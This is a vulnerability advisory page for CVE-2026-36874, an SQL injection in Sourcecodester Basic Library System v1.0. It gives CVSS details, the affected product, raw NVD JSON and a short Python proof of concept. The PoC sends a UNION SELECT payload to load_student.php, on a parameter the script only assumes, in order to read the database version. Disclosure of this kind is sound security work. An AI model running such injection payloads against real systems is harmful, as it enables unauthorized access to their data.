Security Vulnerability Report
中文
CVE-2026-36874 CVSS 2.7 LOW

CVE-2026-36874

Published: 2026-04-13 13:16:42
Last Modified: 2026-05-10 21:16:29

Description

Sourcecodester Basic Library System v1.0 is vulnerable to SQL Injection in /librarysystem/load_student.php.

CVSS Details

CVSS Score
2.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:razormist:basic_library_system:1.0:*:*:*:*:*:*:* - VULNERABLE
Sourcecodester Basic Library System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL url = "http://target-ip/librarysystem/load_student.php" # Payload to test SQL Injection (extracting database version) # Assuming the parameter is 'id' or similar based on typical behavior payload = { "id": "1' UNION SELECT 1, version(), 3, 4-- -" } try: response = requests.get(url, params=payload) if response.status_code == 200: # Check if database version is reflected in response if "mysql" in response.text.lower() or response.text.strip(): print("[+] Potential SQL Injection vulnerability detected!") print("[+] Response:", response.text[:200]) else: print("[-] Injection did not return expected data, try boolean based blind.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-36874", "sourceIdentifier": "[email protected]", "published": "2026-04-13T13:16:41.673", "lastModified": "2026-05-10T21:16:29.007", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sourcecodester Basic Library System v1.0 is vulnerable to SQL Injection in /librarysystem/load_student.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:razormist:basic_library_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "7F93EAAD-3EF5-4565-8C51-7AEBA905A0CD"}]}]}], "references": [{"url": "https://github.com/Thirtypenny77/bug_report/blob/main/sourcecodester/basic-library-system/SQL-3.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}